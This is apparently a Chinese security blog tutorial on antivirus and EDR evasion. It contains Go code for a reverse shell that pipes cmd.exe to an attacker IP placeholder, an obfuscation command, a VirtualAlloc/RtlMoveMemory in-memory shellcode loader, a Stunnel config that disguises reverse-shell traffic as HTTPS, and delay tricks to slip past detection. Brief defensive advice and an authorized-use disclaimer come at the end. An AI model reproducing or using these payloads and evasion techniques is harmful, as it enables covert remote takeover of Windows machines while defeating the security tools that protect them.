0x01 攻击板块
在信息安全的深水区，免杀技术犹如一把锋利的双刃剑，既是攻击者绕过安全防线的利器，也是防御者难以察觉的隐形威胁。为了深入理解免杀技术，我们需要从软件和系统架构开始，探讨如何在实战中成功绕过杀软和检测工具。
软件架构的薄弱点
任何软件的架构中，总存在一些设计上、实现上的薄弱环节，成为攻击者的突破口。对于杀软和EDR（终端检测响应）产品来说，它们的主要模块包括特征匹配、行为检测、流量分析等。而免杀技术的核心就在于找到这些模块中的漏洞或缺陷，从而让攻击Payload避开检测。
绕过检测的基本原则
典型的免杀技术包括以下几种策略：
- 混淆与加密：通过改变恶意代码的外观，使其与已知特征库中的样本不匹配。
- 内存加载：将恶意代码直接加载到内存中运行，避开文件系统的检测。
- 流量伪装：利用合法协议封装攻击流量，使其看似正常。
- 行为规避：通过分段执行、延时执行等技术隐藏恶意行为。
这篇文章将结合真实案例，带你深入这些免杀技术的每一个细节。
实战环境搭建
在开始实战之前，我们需要搭建一个虚拟的攻击和防御环境，用于测试免杀技术的有效性。这里选择VirtualBox作为虚拟机平台，Windows 10作为目标操作系统，同时安装一款市面上常见的杀软。
环境准备
- 虚拟机软件：VirtualBox（可选VMware）
- 目标操作系统：Windows 10
- 防护软件：选择一款主流的杀软，如Windows Defender
- 攻击工具：准备Kali Linux虚拟机，安装好Metasploit、Cobalt Strike等工具
网络配置
使用NAT网络模式，让攻击机与目标机在同一局域网中，确保它们可以互相访问。调整虚拟机的网络配置，设置固定的IP地址，方便后续测试和攻击。
通过上述环境的搭建，我们可以模拟真实场景下的攻击测试，观察不同免杀技术在目标系统上的表现。
Payload构造的艺术
在免杀技术中，构造一个能绕过检测的Payload至关重要。以下我们将以Go语言为例，展示如何一步步构建一个免杀的恶意载荷。
基本Payload创建
首先，使用Go语言编写一个简单的反向Shell程序：
<pre><code class="language-go">package main
import ( "net" "os/exec" )
func main() { conn, _ := net.Dial("tcp", "攻击机IP:端口") cmd := exec.Command("cmd.exe") cmd.Stdin = conn cmd.Stdout = conn cmd.Stderr = conn cmd.Run() }</code></pre>
代码混淆与加密
为了绕过静态分析，我们需要对代码进行混淆和加密。可以使用开源的混淆工具，如Gobfuscate，将Go语言代码进行转换。
<pre><code class="language-shell">gobfuscate -o payload-obfuscated.go payload.go</code></pre>
内存加载策略
传统的文件型Payload很容易被查杀，采用内存加载技术可以有效避免这种情况。我们可以利用Go语言的syscall包将Payload加载至内存中执行。
<pre><code class="language-go">package main
import ( "syscall" "unsafe" )
func hide() { data := []byte{ / shellcode bytes / } kernel32 := syscall.NewLazyDLL("kernel32.dll") virtualAlloc := kernel32.NewProc("VirtualAlloc") addr, _, _ := virtualAlloc.Call(0, uintptr(len(data)), 0x1000|0x2000, 0x40) _, _, _ = syscall.NewLazyDLL("kernel32.dll").NewProc("RtlMoveMemory").Call(addr, uintptr(unsafe.Pointer(&data[0])), uintptr(len(data))) syscall.Syscall(addr, 0, 0, 0, 0) }</code></pre>
在这个例子中，我们将Shellcode直接写入内存，然后使用VirtualAlloc和RtlMoveMemory API执行它，这样可以避开磁盘上的文件检测。
流量捕获实战
除了静态检测，许多防护软件还会通过流量分析识别恶意活动。因此，攻击者往往需要对恶意流量进行伪装。
流量加密与伪装
攻击者可以使用HTTPS或自定义协议来加密与伪装流量。例如，使用Stunnel将普通的反向Shell流量加密成HTTPS流量。
<pre><code class="language-shell"># Stunnel配置示例 [revshell] client = yes accept = 127.0.0.1:443 connect = 攻击机IP:端口</code></pre>
流量分包技术
将数据包分割成小块，并通过延时发送，有效降低被流量分析工具检测的几率。可以使用Go语言实现此技术：
<pre><code class="language-go">package main
import ( "net" "time" )
func main() { conn, _ := net.Dial("tcp", "攻击机IP:端口") data := []byte("payload") for _, b := range data { conn.Write([]byte{b}) time.Sleep(1 * time.Second) // 延迟发送 } }</code></pre>
绕过与免杀技巧
在实战中，仅有一个免杀的Payload并不能确保攻击的成功，攻击者还需要掌握一些常用的绕过技巧。
动态调试与反调试
使用工具如x64dbg或OllyDbg对目标程序进行动态调试，分析检测算法并找到绕过点。此外，可以运用反调试技术隐藏恶意进程的存在。
模拟用户行为
通过模拟正常用户行为，如打开合法文档、访问网页等，掩盖恶意活动的踪迹。使用Sikuli或AutoIt等工具进行自动化操作。
时间延时与触发条件
设置Payload的执行时间与触发条件，例如在用户空闲时执行，避免被用户察觉。使用Go语言的time包可以轻松实现：
<pre><code class="language-go">package main
import ( "time" )
func main() { time.Sleep(10 * time.Second) // 延时执行 // 执行恶意代码 }</code></pre>
检测与防御的思路
尽管免杀技术在攻击中非常有效，但防御者也不是完全无计可施。理解其原理与特征，结合实际的检测与防御策略，仍然可以有效地应对这些隐匿的威胁。
多层防御策略
结合使用多个安全产品，如杀软、EDR、网络防火墙等，提高攻击门槛。每个产品都有其优劣势，集成使用可以弥补单一产品的缺陷。
行为分析与异常检测
通过捕获系统调用、监控进程行为等方式进行动态检测。即使Payload绕过了初始检测，通过行为分析仍有可能被发现。
定期更新特征库
保持特征库的最新状态，对于防御免杀技术的攻击尤为重要。及时引入新的检测技术和规则，减少免杀技术的成功率。
个人经验分享
在多年的攻防对抗中，我发现免杀技术的关键在于对目标系统的深入理解和对攻击链的精心设计。很多时候，并不是技术上的差异，而是对细节的把控决定了攻击的成败。
关注细节
细节决定成败，攻击者常常在细节上击败防御者，而这些细节往往是防御者习以为常的地方。
持续学习
安全领域的技术日新月异，攻击者与防御者都需要保持不断学习的态度，时刻关注最新的技术与漏洞。
责任与道德
最后，作为一名安全研究员，我们必须始终坚持道德底线，确保所有技术活动在法律和道德框架内进行。希望这篇文章不仅为大家提供了技术参考，也带来了一些思考和启发。本文仅供授权的安全测试和学习使用，如有其他用途，请自行承担责任。